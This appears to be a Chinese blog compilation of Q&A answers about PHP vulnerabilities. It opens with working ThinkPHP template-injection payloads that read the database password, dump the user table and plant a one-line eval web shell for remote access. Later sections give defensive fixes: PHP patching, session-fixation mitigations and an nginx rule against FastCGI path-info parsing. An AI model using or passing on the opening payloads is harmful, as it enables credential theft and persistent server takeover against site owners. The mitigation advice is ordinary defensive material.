本文目录一览：
thinkphp 怎么利用漏洞
1. 使用URL可以查看用户的数据库帐号密码DB_NAME,DB_PASS,DB_HOST
{@print(THINK_VERSION)}
{@print(C(‘’))}
{@print(C(‘DB_PASS’))}
2.使用模型D方法或者M方法，猜测后台帐号密码，当然首先要先猜一下用户的表名了
{@var_dump(D(user)-select())}
3.直接执行一句话代码，然后用菜刀直接连接.
{${eval($_POST[s])}} 一句话密码:s
php漏洞修复
打开php配置文件，php.ini，然后在里面搜索dll，把你下载的布丁照着格式复制一行就行了。比如你下载的补丁为abc.dll;就加一行extension=abc.dll
php漏洞问题
session fixation 即他人用已知的sid让你登录，然后他也可以登录并操作你的帐号
几种手段避免吧
1、不要在post和get方法发送sid，改在cookie中
2、对访问请求要进行ip确认，不同ip要重新生成sid。
3、重要数据操作时使用加密SSL传输。
4、用户浏览器或者登出后，以及任何变动时，要及时换sid
5、设定不活跃操作的session超时，超时后就重生成sid，降低盗用的可能。
怎么样在php中使用fastcgi解析漏洞及修复方案
（Nginx用户可以选择方案一或方案二，IIS用户请使用方案一）
方案一，修改php.ini文件，将cgi.fix_pathinfo的值设置为0。完成后请重启PHP和NGINX（IIS）。
方案二，在Nginx配置文件中添加以下代码：
复制代码 代码如下:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
请问下有知道如何利用PHP漏洞入侵服务器的高手吗??
去腾讯智慧安全申请个御点终端安全系统
申请好了之后，打开腾讯御点，选择修复漏洞
可以自动检测出电脑里面需要修复的漏洞然后一键修复
原创文章，作者：小蓝，如若转载，请注明出处：https://www.506064.com/n/160639.html
微信扫一扫 
支付宝扫一扫 